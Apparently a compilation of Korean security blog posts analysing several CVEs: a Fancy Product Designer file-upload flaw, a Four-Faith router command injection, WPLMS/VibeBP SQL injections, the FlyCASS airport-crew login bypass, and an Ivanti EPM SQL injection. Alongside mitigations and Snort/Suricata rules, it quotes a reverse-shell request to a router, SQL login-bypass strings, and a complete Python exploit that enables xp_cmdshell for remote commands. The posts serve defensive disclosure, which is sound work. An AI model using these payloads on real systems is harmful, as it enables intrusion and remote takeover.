pro-export/class-pro-export.php, function save_remote_file()
1     public static function save_remote_file( $remote_file_url ) {
2     
3         $unique_dir = time().bin2hex(random_bytes(16));
4         $temp_dir = FPD_ORDER_DIR . 'print_ready_files/' . $unique_dir;
5         mkdir($temp_dir);
6     
7         $local_file_path = $temp_dir;
8     
9         $filename = fpd_admin_copy_file(
10             $remote_file_url,
11             $local_file_path
12         );
13     
14         return $filename ? $unique_dir . '/' . $filename : null;
15     
16     }

admin/fpd-admin-functions.php, function fpd_admin_copy_file()
1     function fpd_admin_copy_file( $file_url, $destination_dir ) {
2     
3     if( empty( $file_url ) ) return false;
4     
5     if( !file_exists($destination_dir) )
6             wp_mkdir_p( $destination_dir );
7     
8     $filename = basename( $file_url );
9     
10     if( function_exists('copy') ) {
11     
12     return copy( $file_url, $destination_dir . '/' . $filename ) ? $filename : false;
13     
14     }
15     else {
16     
17     $content = file_get_contents( $file_url );
18     $fp = fopen( $destination_dir . '/' . $filename, 'w' );
19     $bytes = fwrite( $fp, $content );
20     fclose( $fp );
21     
22     return $bytes !== false ? $filename : false;
23     
24     }

3. 대응방안

- 취약점이 벤더사에 전달 되었으나, 최근 버전(6.4.3)까지 패치가 이루어지지 않은 상태
> 권고사항
ⓐ임의 파일 업로드 방지 : 안전한 파일 확장자만 허용하는 허용 목록(allowlist) 설정
ⓑ SQL 인젝션 대응 : 데이터베이스 쿼리의 철저한 입력 값 검증 및 적절한 이스케이프 처리
ⓒ 정기적인 보안 점검 : 플러그인 업데이트 상태 주기적 확인 및 새로운 취약점 발생 여부 모니터링
ⓓ 대안 플러그인 고려 : 개발사가 문제를 해결하지 않는 상황에서 보안이 보장된 대안 플러그인을 사용 고려

4. 참고

[1] https://patchstack.com/articles/critical-vulnerabilities-found-in-fancy-product-designer-plugin/
[2] https://fancyproductdesigner.com/
[3] https://patchstack.com/database/wordpress/plugin/fancy-product-designer/vulnerability/wordpress-fancy-product-designer-plugin-6-4-3-unauthenticated-sql-injection-vulnerability
[4] https://www.php.net/manual/en/function.strip-tags.php
[5] https://patchstack.com/database/wordpress/plugin/fancy-product-designer/vulnerability/wordpress-fancy-product-designer-plugin-6-4-3-unauthenticated-arbitrary-file-upload-vulnerability
[6] https://www.dailysecu.com/news/articleView.html?idxno=162891

1. Four-Faith

- 사물인터넷(IoT) 통신 장비 및 솔루션을 제공하는 중국 기업

2. CVE-2024-12856

[사진 1] CVE-2024-12856 [1]

- Four-Faith 라우터에서 발생하는 OS 명령 주입 취약점
> 공격자가 인증 없이 명령을 실행할 수 있으며, 현재 공격에 악용되는 중

영향받는 버전 : Four-Faith 라우터 모델 F3x24 및 F3x36

 

/apply.cgi 엔드포인트에 조작된 HTTP 요청을 전송해 OS 명령을 실행할 수 있음 [2][3][4]

> submit_type=adj_sys_time을 통해 장치의 시스템 시간을 수정할 때 adj_time_year 매개변수에 OS 명령 주입 가능
> adj_time_year 매개변수에 대한 검증이 적절하지 않거나 누락되어 발생하는 것으로 판단됨

POST /apply.cgi HTTP/1.1
Host: 192.168.1.1:90
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Content-Length: 296
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip adj_time_sec=32&change_action=gozila_cgi&adj_time_day=27&adj_time_mon=10&adj_time_hour=11&adj_time_year=%24%28cd+%2Ftmp%2F%3B+mknod+bOY+p%3Bcat+bOY%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+192.168.1.206+1270+%3EbOY%3B+rm+bOY%3B%29&adj_time_min=35&submit_button=index&action=Save&submit_type=adjust_sys_time

[디코딩]
admin:admin
adj_time_year=$(cd /tmp/; mknod bOY p;cat bOY|/bin/sh -i 2>&1|nc 192.168.1.206 1270 >bOY; rm bOY;)

3. 대응방안

- 벤더사의 취약점 패치 발표 여부 확인 불가
> VulnCheck는 Suricata를 이용한 규칙 공유

alert http any any -> any any ( \
  msg:"VULNCHECK Four-Faith CVE-2024-12856 Exploit Attempt"; \
  flow:to_server; \
  http.method; content:"POST"; \
  http.uri; content:"/apply.cgi"; startswith; \
  http.header_names; content:"Authorization"; \
  http.request_body; content:"change_action="; \
  content:"adjust_sys_time"; \
  pcre:"/adj_time_[^=]+=[a-zA-Z0-9]*[^a-zA-Z0-9=]/"; \
  classtype:web-application-attack; \
  reference:cve,CVE-2024-12856; \
  sid:12700438; rev:1;)

 

> Snort 탐지 규칙

alert tcp any any -> any any (msg:"CVE-2024-12856"; flow:to_server,established; content:"POST"; http_method; content:"/apply.cgi"; http_uri; content:"adj_time_year"; http_client_body; nocase;)

 

- 권고사항
> 기본 자격 증명 변경
> 불필요 서비스 및 포트 비활성화
> 정기적 펌웨어 업데이트 등

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-12856
[2] https://vulncheck.com/advisories/four-faith-time
[3] https://vulncheck.com/blog/four-faith-cve-2024-12856
[4] https://ducklingstudio.blog.fc2.com/blog-entry-392.html
[5] https://www.boannews.com/media/view.asp?idx=135376
[6] https://www.dailysecu.com/news/articleView.html?idxno=162560

1. WPLMS 플러그인 (WordPress Learning Management System)

- WordPress를 사용해 LMS를 구축할 수 있도록 돕는 플러그인

※ Learning Management System : 학습 관리 시스템, 온라인으로 학생들의 학습을 관리할 수 있게 해주는 소프트웨어

2. VibeBP (Vibe BuddyPress Plugin)

- WPLMS와 함께 사용되는 플러그인으로, 강력한 소셜 네트워킹 및 회원 관리 기능을 제공

3. 취약점

3.1 CVE-2024-56042 [2][3]

[사진 1] CVE-2024-56042

- WPLMS에서 발생하는 SQL Injection 취약점 (CVSS: 9.3)

영향받는 버전 : WPLMS < 1.9.9.5.3

 

- includes/vibe-course-module/includes/api/v3/class-api-commissions.php의 get_instructor_commissions_chart()에 취약점 존재
> json/wplms/v1/commissions/instructor/<ID>/chart의 REST 엔드포인트를 처리
> REST 엔드포인트 자체에서는 commissions_request_validate()를 통해 사용자 권한을 확인

 

> Line4 및 Line7 : 클라이언트 요청에서 course_id와 currency 파라미터를 추출 및 $course_id와 $currency에 할당 
> Line16 ~ Line24 : $course_id와 $currency를 .=(문자열 연결 연산자) 연사자를 사용해 $and_where에 할당
> Line29 ~ Line40 : get_results()를 사용해 SQL 쿼리를 실행한 후 결과를 $results에 할당

 

- $course_id와 $currency에 대한 적절한 검증 없이 $and_where에 포함되어 SQL 쿼리에 사용되므로, 유효한 ID를 가진 공격자에 의해 SQL Injection 취약점이 발생

includes/vibe-course-module/includes/api/v3/class-api-commissions.php, function get_instructor_commissions_chart()
1     function get_instructor_commissions_chart($request){
2     
3     $user_id = $request->get_param('id');
4     $course_id =$request->get_param('course_id');
5     $date_start = $request->get_param('date_start');
6     $date_end = $request->get_param('date_end');
7     $currency = $request->get_param('currency');
8     ------------ CUT HERE ------------
9     
10     $and_where = '';
11     $start_date = '';
12     $end_date = '';
13     $group_by = ' GROUP BY select_parameter';
14     $select = 'MONTH(activity.date_recorded) as select_parameter';
15     
16     if(!empty($course_id)){
17     $and_where .= " AND activity.item_id = $course_id ";
18     }else{
19     
20     ------------ CUT HERE ------------
21     }
22     if(!empty($currency)) {
23     $and_where .= " AND meta2.meta_value = '".$currency."' ";
24     }
25     
26     ------------ CUT HERE ------------
27     global $wpdb;
28     global $bp;
29     $results = $wpdb->get_results( "
30     SELECT ".$select.", sum(meta.meta_value) as commission
31     FROM {$bp->activity->table_name} AS activity
32     LEFT JOIN {$bp->activity->table_name_meta} as meta ON activity.id = meta.activity_id
33     LEFT JOIN {$bp->activity->table_name_meta} as meta2 ON activity.id = meta2.activity_id
34     WHERE     activity.component     = 'course'
35     AND     activity.type     = 'course_commission'
36     AND     activity.user_id     = {$user_id}
37     AND     meta.meta_key   LIKE '_commission%'
38     AND     meta2.meta_key   LIKE '_currency%'
39     .$and_where.
40     .$group_by,ARRAY_A);
41     ------------ CUT HERE ------------
42     }

 

3.2 CVE-2024-56047 [4][5]

[사진 2] CVE-2024-56047

- WPLMS에서 발생하는 SQL Injection 취약점

영향받는 버전 : WPLMS < 1.9.9.5.3

 

- include/vibe-course-module/includes/api/v3/class-api-user-controller.php의 search_users_in_chat()에 취약점 존재
> json/wplms/v2/user/alluser의 REST 엔드포인트를 처리하며, 인증된 모든 사용자가 액세스할 수 있음
> Line3 : 클라이언트로부터 전달받은 user_initials를 추출해 $user_initials에 할당
> Line4 : $user_initials를 포함해 SQL 쿼리 실행 및 결과를 $results에 할당

 

- user_initials에 대한 적절한 검증 없이 $user_initials에 할당되어 SQL 쿼리에 사용되므로, SQL Injection 취약점이 발생

includes/vibe-course-module/includes/api/v3/class-api-user-controller.php, function search_users_in_chat()
1     function search_users_in_chat($request){
2     global $wpdb;
3     $user_initials = $request->get_param('user_initials');
4     $results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}users WHERE `user_nicename` LIKE '%{$user_initials}%'", ARRAY_A );
5     
6     $return = array('status'=>1,'message'=>'','users'=>array());
7     if(!empty($results)){
8     foreach($results as $result){
9     $return['users'][]=apply_filters('wplms_api_search_users_in_chat',array(
10     'name'=> bp_core_get_user_displayname($result['ID']),
11     'id'=> intval($result['ID']),
12     'image'=> bp_core_fetch_avatar(array('item_id' => $result['ID'],'type'=>'thumb', 'html' => false)),
13     'type'=> (user_can(intval($result['ID']),'manage_options')?_x('Administrator','Chat search result user type','wplms'):(user_can($result['ID'],'edit_posts')?_x('Instructor','Chat search result user type','wplms'):_x('Student','Chat search result user type','wplms')))
14     ));
15     }
16     }else{
17     $return = array('status'=> 0,'message'=>_x('No user found !','Chat search result','wplms'),'users'=>array());
18     }
19     
20     }

 

3.3 CVE-2024-56039 [6][7]

[사진 3] CVE-2024-56039

- VibeBP에서 발생하는 SQL Injection 취약점 (CVSS: 9.3)

영향받는 버전 : VibeBP < 1.9.9.7.7

 

- include/buddypress/class-api-settings-controller.php의 get_avatar()에 취약점 존재
> json/vbp/v1/avatar의 REST 엔드포인트를 처리
> REST 엔드포인트 자체에서는 commissions_request_validate()를 통해 사용자 권한을 확인

 

> Line3 ~ Line4 : 클라이언트로부터 전달받은 요청의 Body를 JSON으로 디코딩 및 재귀적으로 필터링한 후 $body에 할당
> Line33 : $body['ids']['item_id']를 포함해 SQL 쿼리 실행 및 결과를 $name에 할당

 

- $body 값에 대한 적절한 검증 없이 get_var()에 포함되어 SQL 쿼리에 사용되므로, SQL Injection 취약점이 발생

includes/buddypress/class-api-settings-controller.php, function get_avatar()
1     function get_avatar($request){
2     
3     $body = json_decode($request->get_body(),true);
4     $body = vibebp_recursive_sanitize_text_field($body);
5     $name = '';
6     $avatar= '';
7     $key='';
8     $type = '';
9     if(!empty($body['type'])){$type=$body['type'];}
10     switch($type){
11     case 'friends':
12     
13     $key = 'user_'.$body['ids']['item_id'];
14     $avatar = bp_core_fetch_avatar(array(
15     'item_id' => (int)$body['ids']['item_id'],
16     'object'  => 'user',
17     'type'=>'thumb',
18     'html'    => false
19     ));
20     $name = bp_core_get_user_displayname($body['ids']['item_id']);
21     
22     
23     break;
24     case 'group':
25     $key = 'group_'.$body['ids']['item_id'];
26     $avatar = bp_core_fetch_avatar(array(
27     'item_id' => (int)$body['ids']['item_id'],
28     'object'  => 'group',
29     'type'=>'thumb',
30     'html'    => false
31     ));
32     global $wpdb,$bp;
33     $name = $wpdb->get_var("SELECT name from {$bp->groups->table_name} WHERE id=".$body['ids']['item_id']);
34     ------------- CUT HERE -------------

 

3.4 CVE-2024-56041 [8][9]

[사진 4] CVE-2024-56041

- VibeBP에서 발생하는 SQL Injection 취약점

영향받는 버전 : VibeBP < 1.9.9.5.1

 

- include/buddypress/class-api-messages-controller.php의 remove_message_label()에 취약점 존재
> json/vbp/v1/messages/label/remove의 REST 엔드포인트를 처리

 

> Line2 ~ Line3 : 클라이언트로부터 전달받은 요청의 Body를 JSON으로 디코딩 및 재귀적으로 필터링한 후 $body에 할당
> Line14 및 Line16 : $body['slug']를 $slug에 할당한 후 이를 포함해 SQL 쿼리 실행 및 결과를 $labels_count에 할당

 

- $slug 값에 대한 적절한 검증 없이 get_results()에 포함되어 SQL 쿼리에 사용되므로, SQL Injection 취약점이 발생

includes/buddypress/class-api-messages-controller.php, function remove_message_label()
1     function remove_message_label($request){
2     $body = json_decode($request->get_body(),true);
3     $body = vibebp_recursive_sanitize_text_field($body);
4     $labels = get_user_meta($this->user->id,'vibebp_message_labels',true);
5     if(!empty($labels)){
6     $remove = 0;
7     foreach($labels as $k=>$l){
8     if($l['slug'] === $body['slug']){
9     $remove = $k;
10     break;
11     }
12     }
13     $label_key = 'vibebp_label_'.$this->user->id;
14     $slug = $body['slug'];
15     global $wpdb,$bp;
16     $labels_count = $wpdb->get_results("DELETE FROM {$bp->messages->table_name_meta} WHERE meta_key = '$label_key' AND meta_value = '$slug'");
17     unset($labels[$remove]);
18     update_user_meta($this->user->id,'vibebp_message_labels',$labels);
19     }
20     
21     return new WP_REST_Response( array('status'=>1,'labels'=>$labels,'message'=>_x('Label removed.','message','vibebp')), 200 ); 
22     }

4. 대응방안

- 벤더사 제공 업데이트 적용 [10][11]
> WPLMS Plugin 1.9.9.5.3
> Vibebp 1.9.9.7.7
> 관련된 변수 및 코드에 적절한 이스케이프를 적용

5. 참고

[1] https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wplms-and-vibebp-plugins/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-56042
[3] https://patchstack.com/database/wordpress/plugin/wplms-plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-3-unauthenticated-sql-injection-vulnerability
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-56047
[5] https://patchstack.com/database/wordpress/plugin/wplms-plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-3-subscriber-sql-injection-vulnerability
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-56039
[7] https://patchstack.com/database/wordpress/plugin/vibebp/vulnerability/wordpress-vibebp-plugin-1-9-9-7-7-unauthenticated-sql-injection-vulnerability
[8] https://nvd.nist.gov/vuln/detail/CVE-2024-56041
[9] https://patchstack.com/database/wordpress/plugin/vibebp/vulnerability/wordpress-vibebp-plugin-1-9-9-5-1-sql-injection-vulnerability
[10] https://wplms.io/support/knowledge-base/vibebp-1-9-9-7-7-wplms-plugin-1-9-9-5-2/
[11] https://asec.ahnlab.com/ko/85311/

1. 개요

- 해외 보안 연구원에 의해 공항 보안에 사용되는 KCM과 CASS 프로세스에서 SQL Injection 취약점 발견 [1]
- 취약점 악용에 성공할 시 관리자가 되어 항공사에 새로운 직원을 추가하는 등의 악성행위 가능
> 현재는 취약점이 해결되었음

 

2. 주요내용

2.1 KCM (Known Crewmember)

- 조종사와 승무원이 보안 검색을 우회할 수 있도록 해주는 TSA 프로그램
- 직원은 전용 레인을 사용하며, KCM 바코드 또는 직원 번호를 제시해 통과 여부를 결정

※ TSA (Transportation Security Administration) : 미국 교통안전청, 9.11 테러 이후 여객기 등의 운행 안전 필요성이 대두되어 설립

 

2.2 CASS (Cockpit Access Security System)

- 조종사가 조종실의 점프 시트를 사용할 수 있도록 하는 시스템

 

2.3 ARINC

- 항공, 공항, 국방, 정부, 수송분야에서 사용되는 표준과 시스템을 개발 및 제공하는 기업
- TSA와 계약하여 KCM 시스템을 운영하며, 조종사와 승무원이 KCM 상태를 확인할 수 있는 웹 사이트와 항공사 간 승인 요청을 라우팅하는 API 등을 운영
> 각 항공사는 KCM 및 CASS에 참여하기 위해 자체 인증 시스템을 운영하며, ARINC의 허브와 상호작용함
- TSA와 항공사는 CockpitAccessRequest와 CrewVerificationRequest 같은 요청을 ARINC로에 보낼 수 있으며, ARINC는 이를 적절한 항공사 시스템으로 라우팅

 

2.4 FlyCASS.com

- 소규모 항공사를 위해 KCM, CASS 운영하며, 모든 항공사가 자체 로그인 페이지를 가지고 있음
- 로그인 페이지에서 SQL Injection 취약점을 테스트(username에 ` 입력)한 결과 MySQL 오류 발생
sqlmap을 사용해 관리자로 FlyCASS에 로그인 성공
username : ' or '1'='1 / password : ') OR MD5('1')=MD5('1

※ sqlmap : SQL Injection을 감지 및 악용할 수 있는 Python 으로 작성된 오픈 소스 침투 테스트 도구 [2]

잘못된 SQL 문법 등의 경우 반환되는 에러 메시지를 통해 데이터베이스 정보를 획득할 수 있으므로, 에러 메시지를 출력하지 않도록 조치 필요

[사진 1] MySQL 오류

2.5 KCM, CASS 관리자

- FlyCASS에 SQL Injection 취약점을 악용해 관리자 권한으로 접근이 가능
직원(조종사, 승무원) 목록을 확인하거나 추가 인증 없이 새로운 직원을 추가할 수 있었음

[사진 2] 관리자 계정 접근 성공

- 테스트를 위해 Test TestOnly 직원 추가 및 KCM, CASS 접근 권한을 부여하는데 성공
SQL Injection에 기본적인 지식이 있는 누구나 KCM, CASS에 임의의 직원을 추가할 수 있는 심각한 문제

[사진 3] Test TestOnly 사용자 추가 성공

2.6 공개 및 기타 [3]

- 미국 국토안보부(United States Department of Homeland Security, DHS)에 문제를 공개
- 이후 FlyCASS는 KCM, CASS에서 비활성화
- TSA는 취약점을 부인하는 성명을 발표했으며, DHS는 초기에 신속하고 전문적으로 처리했으나, 이후 과정에서 상급 기관으로써의 역할을 제대로 수행하지 못함
- 비밀번호를 저장하는데 MD5 해시를 사용한 것 또한 문제

3. 참고

[1] https://ian.sh/tsa
[2] https://sqlmap.org/
[3] https://news.ycombinator.com/item?id=41392128

1. Ivanti Endpoint Manager(EPM) [1]

- 조직 내의 장치를 중앙에서 관리할 수 있는 엔터프라이즈 엔드포인트 관리 솔루션

 

2. 취약점

[사진 1] CVE-2024-29824 [2]

- 취약한 Ivanti EPM에서 발생하는 SQL Injection (CVSS: 9.6)

> 현재 해당 취약점이 활발히 익스플로잇되는 중으로, CISA는 신속히 패치를 권고

영향받는 버전
- Ivanti EPM 2022 SU5 이하 버전

 

2.1 주요 내용

- 취약점은 PatchBiz.dll 파일의 RecordGoodApp()이라는 함수에서 발생 [3]

> 해당 함수의 첫 번째 SQL 문이 잠재적으로 SQL Injection에 취약

> string.Format을 사용하여 goodApp.md5의 값을 SQL 쿼리에 삽입

> 공격자는 goodApp.md5 값에 SQL 구문 Injection 및 xp_cmdshell을 통해 원격 명령 실행

[사진 2] RecordGoodApp() SQL 문

- 취약점 흐름은 다음과 같음

[사진 3] 호출 흐름

2.2 PoC [4]

- /WSStatusEvents/EventHandler.asmx URL로 POST 요청
GoodApp=1|md5 값에 SQL Injection 구문 및 xp_cmdshell을 통해 원격 명령 실행

※ xp_cmdshell: SQL Server에서 운영체제 명령을 직접 실행할 수 있도록 해주는 확장 저장 프로시저

import argparse
import requests
import urllib3
import sys
from requests.exceptions import ReadTimeout
urllib3.disable_warnings()

XML_PAYLOAD = """<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <UpdateStatusEvents xmlns="http://tempuri.org/">
      <deviceID>string</deviceID>
      <actions>
        <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
          <status>GoodApp=1|md5={}</status>
        </Action>
      </actions>
    </UpdateStatusEvents>
  </soap12:Body>
</soap12:Envelope>
"""

SQLI_PAYLOAD = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell '{}'--"


def get_cmd_arrays(cmd_file):
    try:
        with open(cmd_file, 'r') as f:
            cmds = f.read().split('\n')
            cmds = [c for c in cmds if c]
            return cmds
    except Exception as e:
        sys.stderr.write(f'[!] Unexpected error reading cmd file: {e}\n')
    return []

def exploit(url, command):
    h = {'Content-Type': 'application/soap+xml' }
    sqli_payload = SQLI_PAYLOAD.format(command)
    xml_payload = XML_PAYLOAD.format(sqli_payload)
    try:
        r = requests.post(f'{url}/WSStatusEvents/EventHandler.asmx', data=xml_payload, headers=h, verify=False, timeout=30)
        if r.status_code == 200:
            print(f'[+] Successfully sent payload to server')
        else:
            print(f'[-] Unexpected response from server')
    except TimeoutError:
        # Expected to timeout given it keeps connection open for process duration
        pass
    except ReadTimeout:
        # Expected to timeout given it keeps connection open for process duration
        pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
    parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True)
    args = parser.parse_args()

    commands = get_cmd_arrays(args.cmd_file)
    for command in commands:
        exploit(args.url, command)

 

[사진 4] Exploit 예시

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5]

> 해당 취약점을 포함한 5가지 원격 코드 실행 취약점 해결

 

- 탐지룰 적용

> 취약성 여부를 확인할 수 있는 스크립트 활용 [6]

alert tcp any any -> any any (msg:"CVE-2024-29824"; flow:to_server,established; content:"/WSStatusEvents/EventHandler.asmx"; content:"GoodApp=1|md5"; nocase; http_method POST;)

 

4. 참고

[1] https://www.ivanti.com/products/endpoint-manager
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-29824
[3] https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/
[4] https://github.com/horizon3ai/CVE-2024-29824
[5] https://forums.ivanti.com/s/article/KB-Security-Advisory-EPM-May-2024?language=en_US
[6] https://www.vicarius.io/vsociety/posts/cve-2024-29824-xdetection
[7] https://attackerkb.com/topics/c3Z5a612ns/cve-2024-29824
[8] https://www.bleepingcomputer.com/news/security/critical-ivanti-rce-flaw-with-public-exploit-now-used-in-attacks/
[9] https://thehackernews.com/2024/10/ivanti-endpoint-manager-flaw-actively.html

+ Recent posts